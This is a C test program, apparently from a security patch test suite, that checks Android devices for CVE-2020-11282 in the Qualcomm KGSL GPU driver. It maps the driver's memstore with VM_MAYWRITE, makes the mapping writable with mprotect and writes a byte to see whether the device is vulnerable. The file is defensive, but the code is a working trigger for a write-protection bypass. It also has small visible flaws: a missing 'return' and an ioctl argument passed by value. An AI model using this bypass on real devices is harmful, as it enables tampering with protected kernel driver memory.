You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
72 lines
1.6 KiB
72 lines
1.6 KiB
/*
|
|
* CVE-2020-11282
|
|
*/
|
|
|
|
#include "../includes/common.h"
|
|
#include <fcntl.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <sys/ioctl.h>
|
|
#include <sys/mman.h>
|
|
#include <unistd.h>
|
|
|
|
#define VM_MAYWRITE 0x00000020
|
|
#define KGSL_IOC_TYPE 0x09
|
|
#define KGSL_PROP_DEVICE_SHADOW 0x2
|
|
|
|
#define IOCTL_KGSL_DEVICE_GETPROPERTY \
|
|
_IOWR(KGSL_IOC_TYPE, 0x2, struct kgsl_device_getproperty)
|
|
|
|
struct kgsl_device_getproperty {
|
|
unsigned int type;
|
|
void __user *value;
|
|
size_t sizebytes;
|
|
};
|
|
|
|
struct kgsl_shadowprop {
|
|
unsigned long gpuaddr;
|
|
size_t size;
|
|
unsigned int flags; /* contains KGSL_FLAGS_ values */
|
|
};
|
|
|
|
int main() {
|
|
int x;
|
|
int y;
|
|
struct kgsl_device_getproperty param;
|
|
struct kgsl_shadowprop shadowprop;
|
|
int kgsl_fd;
|
|
|
|
kgsl_fd = open("/dev/kgsl-3d0", 0);
|
|
if (kgsl_fd < 0) {
|
|
EXIT_FAILURE;
|
|
}
|
|
param.type = KGSL_PROP_DEVICE_SHADOW;
|
|
param.value = &shadowprop;
|
|
param.sizebytes = sizeof(shadowprop);
|
|
|
|
if (ioctl(kgsl_fd, IOCTL_KGSL_DEVICE_GETPROPERTY, param) < 0) {
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
// validity checking that mmap of memstore with PROT_WRITE is blocked
|
|
uint8_t *mmapped = mmap(NULL, shadowprop.size, PROT_READ | PROT_WRITE,
|
|
MAP_PRIVATE, kgsl_fd, shadowprop.gpuaddr);
|
|
FAIL_CHECK(!(mmapped != MAP_FAILED));
|
|
|
|
mmapped = mmap(NULL, shadowprop.size, PROT_READ | VM_MAYWRITE, MAP_PRIVATE,
|
|
kgsl_fd, shadowprop.gpuaddr);
|
|
|
|
FAIL_CHECK(!(mmapped == MAP_FAILED));
|
|
|
|
if (mprotect(mmapped, shadowprop.size, PROT_READ | PROT_WRITE)) {
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
x = mmapped[0];
|
|
mmapped[0] = 0xFF;
|
|
y = mmapped[0];
|
|
|
|
return (x == 0 && y == 255) ? EXIT_VULNERABLE : EXIT_SUCCESS;
|
|
}
|